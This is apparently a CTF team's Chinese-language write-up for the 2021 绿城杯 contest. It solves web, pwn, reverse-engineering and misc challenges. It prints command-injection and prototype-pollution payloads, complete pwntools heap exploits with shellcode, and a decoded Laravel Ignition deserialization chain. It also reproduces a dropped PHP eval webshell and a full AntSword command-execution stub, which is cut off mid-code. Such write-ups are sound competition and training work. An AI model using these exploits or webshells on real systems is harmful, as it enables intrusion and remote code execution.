参赛WP · 2021年9月29日 0

2021 绿城杯 线上WP

NYNUSEC战队

一、战队信息

  • 名称:NYNUSEC
  • 排名:14

二、解题情况

三、解题过程

题目按照顺序填写

Web

题目三

http://0a21d3d6-a899-4595-aff9-d2344a56cf98.zzctf.dasctf.com/?link_page=about

打开题目,根据网页的关键字搜索到相关题目。

https://blog.csdn.net/qq_51071059/article/details/110629106

直接复制payload 跑一下

') or system("cat templates/flag.php");//

http://0a21d3d6-a899-4595-aff9-d2344a56cf98.zzctf.dasctf.com/?link_page=)%20or%20system(%22cat%20templates/flag.php%22);//

提示不存在此文件

通过ls命令,找到flag.php所在目录

https://0a21d3d6-a899-4595-aff9-d2344a56cf98.zzctf.dasctf.com/?link_page=%27)%20or%20system(%22ls%20/var/www/html/pages%22);//

重新构造payload

http://0a21d3d6-a899-4595-aff9-d2344a56cf98.zzctf.dasctf.com/?link_page=%27)%20or%20system(%22cat%20/var/www/html/pages/flag.php%22);//

得到flag

DASCTF{f337303e16ecb010803609b478e8f3d8}

题目四

查看网页源码发现有源码文件,下载后解压得到config.js

根据代码找到了两篇相关的文章,

https://blog.zeddyu.info/2020/10/15/Defcon28final/#nooode

https://0day.design/2020/08/11/defcon%20CTF%20Final%20Web%20WriteUp/

直接使用blog里的payload,发现返回404。

{"$schema": {"properties": {"__proto__": {"properties": {"path": {"default": "/flag"}}}}}}

尝试把config去掉,再打一次,得到flag

DASCTF{5117143e660f592adc982dd96d2c3f17}

PWN

null

1,这题没给libc,于是盲猜是2.23
2,放到ida里发现就是常规的菜单题,存在off-by-one
3,堆重叠泄露出libc的基址,用fastbin打malloc_hook-0x23处,把堆块申请到malloc_hook附近,然后用realloc调栈

pwn import *
p = process("./null_pwn")
p = remote("82.157.5.28",50604) 
context.log_level = "debug"
elf = ELF("./null_pwn")
libc = elf.libc
heaparray = 0x602120
sizearray = 0x6020E0
menu = "Your choice :"
inde="Index:"
def add(index,size,content):
 p.sendafter(menu,"1")
 p.sendafter(inde,str(index))
 p.sendafter("Size of Heap : ",str(size))
 p.sendafter("Content?:",content)
add(0,0x18,"a") 
add(1,0x68,"b")
add(2,0x68,"c")
add(3,0x18,"d")
p.sendafter(menu,"3")
p.sendafter(0,str(0))
p.sendafter("Content?:","a"*0x18+"\xe1")  
p.sendafter(menu,"2")   
p.sendafter(inde,str(1))
add(4,0x68,"a")
p.sendafter(menu,"4")
p.sendafter(inde,str(2))
p.recvuntil("Content : ")
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - libc.sym["__malloc_hook"] - 0x68
add(5,0x68,"a")       
p.sendafter(menu,"2") #2
p.sendafter(inde,str(5))
p.sendafter(menu,"3")
p.sendafter(2,str(2))
p.sendafter("Content?:",p64(libc_base+libc.sym["__malloc_hook"]-0x23))  #off-by-one
add(6,0x68,"aa")
add(7,0x68,"a"*11+p64(libc_base+0x4527a)+p64(libc_base+libc.sym["__libc_realloc"]+1))
p.sendafter(menu,"1")
p.sendafter(":","7")
p.recvuntil(":")
p.sendline("20")
p.interactive()

uaf

1.漏洞如标题
2.将堆块释放到unsortedbin中泄露libc,用fastbin打malloc_hook-0x23,要多测几个og

from pwn import *
p = process("./uaf_pwn")
# p=remote("82.157.5.28",50702)
context.log_level = "debug"
elf = ELF("./uaf_pwn")
libc = elf.libc
ind="index>"
heaparray = int(p.recvuntil("\n").ljust(8,"\x00"),16)
def add(size):
 p.sendline("1")
 p.sendafter("size>",str(size))
add(0x80)
add(0x40)
p.sendline("2") 
p.sendafter(ind,str(0))
p.sendline("4")
p.sendafter(ind,str(0))
__malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00")) - 88 - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
og = [0x45226,0x4527a,0xf03a4,0xf1247]
add(0x80) 
add(0x68) 
p.sendline("2")
p.sendafter(ind,str(3))
p.sendline("3")
p.sendafter(ind,str(3))
p.sendafter("content>",p64(libc_base+libc.sym["__malloc_hook"]-0x23))
add(0x68) 
add(0x68)  
p.sendline("3")
p.sendafter(ind,str(5))
p.sendafter("content>","\x00"*0x13+p64(libc_base+og[1]))
p64(libc_base+libc.sym["__malloc_hook"]-0x23)
p.sendline("1")
p.recvuntil("size>")
p.sendline("20")
p.interactive()

green

1,uaf,libc是2.27小版本的1.2,开了沙箱
2,把tcache填满之后,再free同一块堆,之后add回来,就会在fd中存入main_arena地址,然后打free_hook,mprotect+shellcode 如下

from pwn import *
import sys
arch =  64
libc_path = ".bc-2.27.so"
elf = ELF("./GreentownNote")
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-hp', '65']
# p = remote("82.157.5.28",50501)
if libc_path:
    libc = ELF(libc_path)
if arch == 64:
    context.arch = 'amd64'
elif arch == 32:
    context.arch = 'i386'
bps = []
pie = 0
_add,_free,_show = 1,3,2
menu = "> Your choice :"
def add(size, content):
 p.sendlineafter(menu, str(_add))
 p.sendlineafter("> Note size :", str(size))
 p.sendafter("> Content :", content)
def free(idx):
 p.sendlineafter(menu, str(_free))
 p.sendlineafter("| Index :", str(idx))
add(0x80, 'aaaa') 
add(0x80, 'a')  
for i in range(8):
    free(0)
add(0x80, 'b') 
p.sendlineafter(menu, str(_show))
p.sendlineafter("| Index :", str(0))
leak = u64(ru('\x7f')[-6:].ljust(8,"\x00")) - 34 - 0x10 - libc.sym['__malloc_hook']    
libc_base = leak
free_hook = libc_base + libc.sym['__free_hook']
syscall = libc_base + libc.search(asm("syscall\nret")).next()
setcontext_door = libc_base + libc.sym['setcontext'] + 53
fake_rsp = free_hook & 0xfffffffffffff000
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = fake_rsp
frame.rdx = 0x2000
frame.rsp = fake_rsp
frame.rip = syscall
add(0x90, 'a') # 2
free(2)
free(2)
free(2)
add(0x90, p64(free_hook))
add(0x90, p64(1)) # 3
add(0x90, p64(setcontext_door)) # 4
add(0x300, str(frame)) # 5
free(5)
layout = [
libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
free_hook & 0xfffffffffffff000,
libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
0x2000,
libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
7,
libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
10,
syscall, #: syscall; ret;
libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
 ]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
p.sendline(flat(layout) + shellcode)
p.interactive()

RE

题目二

先扔进pe里,发现没有壳,是个32位的程序

用32位的ida打开后先搜索字符串,第一个就是我们运行程序后看到的:

双击跳到字符串的地址后按Ctrl+x查找引用,然后应该是F5查看伪代码,但是发现loc_40105C这一段的代码他没有逆出来:

在网上查阅资料后看到一个大佬的方法:

差不多就是先按U把loc_40105C这段的汇编代码拆开:

然后在第二行按C再合成汇编代码,留下第一行就能进行反编译(具体原理还没时间学,就先这样用着..):

反编译后就开始看程序的逻辑代码:

这里我们可以看到256出现了很多次,联想到rc4加密,开始根据逻辑找秘钥。这里这个qword_402108双击进去,然后按A转换成字符串,也就是秘钥。

这个输出上面的这一部分是密文,要先用base64解一下

另外在写脚本的时候发现,这个rc4加密是个变异的,在这里有个异或0x37:

下面是脚本:

import base64
from hashlib import sha1
import random

def fun(Str, key):
    a = b = 0
    list2 = range(256)
    for i in range(256):
        a = (a + list2[i] + ord(key[i % len(key)])) % 256
        list2[i], list2[a] = list2[a], list2[i]^0x37

    list1 = []
    a = 0
    for i in range(len(Str) - 8):
        a = (a + 1) % 256
        b = (b + list2[a]) % 256
        list2[a], list2[b] = list2[b], list2[a]
        list1.append(chr(ord(Str[i]) ^ list2[(list2[a] + list2[b]) % 256]))
        # print(out)
    return ''.join(list1)

def decode(Str, key, salt_length=16):
    if decode:
        Str = base64.b64decode(Str)
    return fun(Str, key)

str1 = '9YyN5J+lKGUw9OvTJKmRGm/UatcLjei4g0pabr7L9EuZ1uZUek9QFOXsXFhGRlxYRkY=' # 密文
key = 'tallmewhy'
decodedStr = decode(str1, key)
print decodedStr

flag{c5e0f5f6-f79e-5b9b-988f-28f046117802}

Misc

音频隐写

下载好附件丢到010,发现是wav文件。于是将附件后缀名重命名为wav

丢到 Audacity软件中

猜测这部分有东西,于是将这部分保存出来,使用在线工具查看频谱得到flag。

得到flag

flag{f8fbb2c761821d3af23858f721cc140b}

流量分析

这题拿到附近,先大致滚了几圈看了下,HTTP流量挺多的,所以先去看看HTTP的包,因为个人比较习惯用Fiddler,所以是把pcap导到Fiddler做的。

先过滤下无关流量(2345的广告流量老干扰项了),仅保留本机和服务器ip的流量。

开头有一堆nmap批量扫的流量,感觉没啥用,先不看。

先是找到了一个感觉像CVE的流量包,上网查了下关键词Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution确实是个CVE。

[

根据相关的漏洞文章尝试解码数据。

a = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00r=00B=00A=00Q=00A=00A=00A=00g=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00B=00q=00A=00Q=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00c=007=00T=00z=00o=00z=00M=00j=00o=00i=00T=00W=009=00u=00b=002=00x=00v=00Z=001=00x=00I=00Y=00W=005=00k=00b=00G=00V=00y=00X=00F=00N=005=00c=002=00x=00v=00Z=001=00V=00k=00c=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00c=002=009=00j=00a=002=00V=000=00I=00j=00t=00P=00O=00j=00I=005=00O=00i=00J=00N=00b=002=005=00v=00b=00G=009=00n=00X=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00J=00c=00Q=00n=00V=00m=00Z=00m=00V=00y=00S=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=006=00N=00z=00p=007=00c=00z=00o=00x=00M=00D=00o=00i=00A=00C=00o=00A=00a=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=007=00c=00j=00o=00z=00O=003=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00l=00N=00p=00e=00m=00U=00i=00O=002=00k=006=00L=00T=00E=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00i=00d=00W=00Z=00m=00Z=00X=00I=00i=00O=002=00E=006=00M=00T=00p=007=00a=00T=00o=00w=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00j=00o=00i=00d=002=00h=00v=00Y=00W=001=00p=00I=00j=00t=00z=00O=00j=00U=006=00I=00m=00x=00l=00d=00m=00V=00s=00I=00j=00t=00O=00O=003=001=009=00c=00z=00o=004=00O=00i=00I=00A=00K=00g=00B=00s=00Z=00X=00Z=00l=00b=00C=00I=007=00T=00j=00t=00z=00O=00j=00E=000=00O=00i=00I=00A=00K=00g=00B=00p=00b=00m=00l=000=00a=00W=00F=00s=00a=00X=00p=00l=00Z=00C=00I=007=00Y=00j=00o=00x=00O=003=00M=006=00M=00T=00Q=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00k=00x=00p=00b=00W=00l=000=00I=00j=00t=00p=00O=00i=000=00x=00O=003=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00H=00B=00y=00b=002=00N=00l=00c=003=00N=00v=00c=00n=00M=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00z=00o=00i=00Y=003=00V=00y=00c=00m=00V=00u=00d=00C=00I=007=00a=00T=00o=00x=00O=003=00M=006=00N=00j=00o=00i=00c=003=00l=00z=00d=00G=00V=00t=00I=00j=00t=009=00f=00X=001=00p=00O=00j=00c=007=00a=00T=00o=003=00O=003=000=00F=00A=00A=00A=00A=00Z=00H=00V=00t=00b=00X=00k=00E=00A=00A=00A=00A=00E=000=00t=00L=00Y=00Q=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00t=00g=00E=00A=00A=00A=00A=00A=00A=00A=00A=00I=00A=00A=00A=00A=00d=00G=00V=00z=00d=00C=005=000=00e=00H=00Q=00E=00A=00A=00A=00A=00E=000=00t=00L=00Y=00Q=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00t=00g=00E=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00d=00G=00V=00z=00d=00B=00Y=00S=00o=00S=004=00e=002=00I=00+=00d=00c=003=00S=00r=00w=00+=00W=00R=00x=00i=00o=003=00Z=00S=00H=005=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=00'
a = a.replace('=00','')
print(a)

[

得到AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQrBAQAAAgAAABEAAAABAAAAAABqAQAAYToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7cjozO3M6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6Njoid2hvYW1pIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6Njoic3lzdGVtIjt9fX1pOjc7aTo3O30FAAAAZHVtbXkEAAAAE0tLYQQAAAAMfn/YtgEAAAAAAAAIAAAAdGVzdC50eHQEAAAAE0tLYQQAAAAMfn/YtgEAAAAAAAB0ZXN0dGVzdBYSoS4e2I+dc3Srw+WRxio3ZSH5AgAAAEdCTUI,但是在python里面好像解不出来,就去拿js解了。

看着感觉就是执行了whoami,下面的数据包也证实了确实如此。

那就去看最后一个同类数据包呗,按理来说最后一个都是打通了的情况。

最后一个的payload是AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00o=00J=00A=00g=00A=00A=00A=00g=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00C=00y=00A=00Q=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00c=007=00T=00z=00o=00z=00M=00j=00o=00i=00T=00W=009=00u=00b=002=00x=00v=00Z=001=00x=00I=00Y=00W=005=00k=00b=00G=00V=00y=00X=00F=00N=005=00c=002=00x=00v=00Z=001=00V=00k=00c=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00c=002=009=00j=00a=002=00V=000=00I=00j=00t=00P=00O=00j=00I=005=00O=00i=00J=00N=00b=002=005=00v=00b=00G=009=00n=00X=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00J=00c=00Q=00n=00V=00m=00Z=00m=00V=00y=00S=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=006=00N=00z=00p=007=00c=00z=00o=00x=00M=00D=00o=00i=00A=00C=00o=00A=00a=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=007=00c=00j=00o=00z=00O=003=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00l=00N=00p=00e=00m=00U=00i=00O=002=00k=006=00L=00T=00E=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00i=00d=00W=00Z=00m=00Z=00X=00I=00i=00O=002=00E=006=00M=00T=00p=007=00a=00T=00o=00w=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00z=00c=006=00I=00m=00V=00j=00a=00G=008=00g=00X=00j=00w=00/=00c=00G=00h=00w=00I=00E=00B=00l=00d=00m=00F=00s=00K=00E=00B=00n=00e=00m=00l=00u=00Z=00m=00x=00h=00d=00G=00U=00o=00Y=00m=00F=00z=00Z=00T=00Y=000=00X=002=00R=00l=00Y=002=009=00k=00Z=00S=00g=00k=00X=001=00B=00P=00U=001=00R=00b=00M=00T=00Q=000=00M=00z=00N=00d=00K=00S=00k=00p=00O=00z=009=00e=00P=00i=00A=00+=00I=00C=005=00j=00b=002=005=00m=00a=00W=00c=00u=00c=00G=00h=00w=00I=00j=00t=00z=00O=00j=00U=006=00I=00m=00x=00l=00d=00m=00V=00s=00I=00j=00t=00O=00O=003=001=009=00c=00z=00o=004=00O=00i=00I=00A=00K=00g=00B=00s=00Z=00X=00Z=00l=00b=00C=00I=007=00T=00j=00t=00z=00O=00j=00E=000=00O=00i=00I=00A=00K=00g=00B=00p=00b=00m=00l=000=00a=00W=00F=00s=00a=00X=00p=00l=00Z=00C=00I=007=00Y=00j=00o=00x=00O=003=00M=006=00M=00T=00Q=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00k=00x=00p=00b=00W=00l=000=00I=00j=00t=00p=00O=00i=000=00x=00O=003=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00H=00B=00y=00b=002=00N=00l=00c=003=00N=00v=00c=00n=00M=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00z=00o=00i=00Y=003=00V=00y=00c=00m=00V=00u=00d=00C=00I=007=00a=00T=00o=00x=00O=003=00M=006=00N=00j=00o=00i=00c=003=00l=00z=00d=00G=00V=00t=00I=00j=00t=009=00f=00X=001=00p=00O=00j=00c=007=00a=00T=00o=003=00O=003=000=00F=00A=00A=00A=00A=00Z=00H=00V=00t=00b=00X=00k=00E=00A=00A=00A=00A=00X=00E=00t=00L=00Y=00Q=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00t=00g=00E=00A=00A=00A=00A=00A=00A=00A=00A=00I=00A=00A=00A=00A=00d=00G=00V=00z=00d=00C=005=000=00e=00H=00Q=00E=00A=00A=00A=00A=00X=00E=00t=00L=00Y=00Q=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00t=00g=00E=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00d=00G=00V=00z=00d=00D=00Z=006=00P=00U=00p=00j=00h=00k=00a=00y=00y=00N=00i=00Q=003=00Y=00w=00m=00f=00p=00c=008=00Q=00J=00n=00s=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=00,解了混淆之后是AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQoJAgAAAgAAABEAAAABAAAAAACyAQAAYToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7cjozO3M6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6Nzc6ImVjaG8gXjw/cGhwIEBldmFsKEBnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1BPU1RbMTQ0MzNdKSkpOz9ePiA+IC5jb25maWcucGhwIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6Njoic3lzdGVtIjt9fX1pOjc7aTo3O30FAAAAZHVtbXkEAAAAXEtLYQQAAAAMfn/YtgEAAAAAAAAIAAAAdGVzdC50eHQEAAAAXEtLYQQAAAAMfn/YtgEAAAAAAAB0ZXN0dGVzdDZ6PUpjhkayyNiQ3Ywmfpc8QJnsAgAAAEdCTUI,然后解一下base64,确实得到了一个写文件的操作。

echo ^<?php @eval(@gzinflate(base64_decode($_POST[14433])));?^> > .config.php

看着就是gzip套base64过防火墙,那就接着看下面的.config.php的流量,第一个传了数据的包如下,不用解码都知道是列文件,对咱没啥用,就不管。

[

然后又看到了一个压缩包读取的,说不定有用,先存下来,但是打开要密码。

[

紧接着没几个数据包,就来了个7z命令行解压的,那不用说,密码肯定在上面的传参里面。

[
那就解码一下命令。

[

先是得到了个@eval(@gzinflate(base64_decode($_POST[_0x0d4e2de6c1fa7])));,好家伙,又套娃,那就去看下一个命令,反正编码逻辑一样。

[

得到了如下php代码。

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.fedd1";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\\\\\|\\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "36"."4f2";echo @asenc($output);echo "42"."ff1";}ob_start();try{$p=base64_decode(substr($_POST["f861d394170244"],2));$s=base64_decode(substr($_POST["ufbd335828f30f"],2));$envstr=@base64_decode(substr($_POST["b430b310838a93"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map(\'trim\',array_map(\'strtolower\',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe(\'putenv\') && (fe(\'error_log\') || fe(\'mail\'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), \'as\');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe(\'error_log\')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe(\'system\')){@system($c,$ret);}elseif(fe(\'passthru\')){@passthru($c,$ret);}elseif(fe(\'shell_exec\')){print(@shell_exec($c));}elseif(fe(\'exec\')){@exec($c,$o,$ret);print(join("\n",$o));}elseif(fe(\'popen\')){$fp=@popen($c,\'r\');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe(\'proc_open\')){$p = @proc_open($c, array(1 => array(\'pipe\', \'w\'), 2 => array(\'pipe\', \'w\')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe(\'antsystem\')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM(\'WScript.shell\');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

格式化一下。

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        }
        $tmdir = $item . "/.fedd1";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}
function asenc($out)
{
    return $out;
}
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "36" . "4f2";
    echo @asenc($output);
    echo "42" . "ff1";
}
ob_start();
try {
    $p = base64_decode(substr($_POST["f861d394170244"], 2));
    $s = base64_decode(substr($_POST["ufbd335828f30f"], 2));
    $envstr = @base64_decode(substr($_POST["b430b310838a93"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r = "{$p} {$c}";
    function fe($f)
    {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return function_exists($f) && is_callable($f) && !in_array($f, $d);
    }
    function runshellshock($d, $c)
    {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; {$c} >{$tmp} 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print $output;
                return True;
            }
        }
        return False;
    }
    function runcmd($c)
    {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print @shell_exec($c);
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print join("\r\n", $o);
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print @fgets($fp, 2048);
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print @fgets($io[1], 2048);
            }
            while (!@feof($io[2])) {
                print @fgets($io[2], 2048);
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
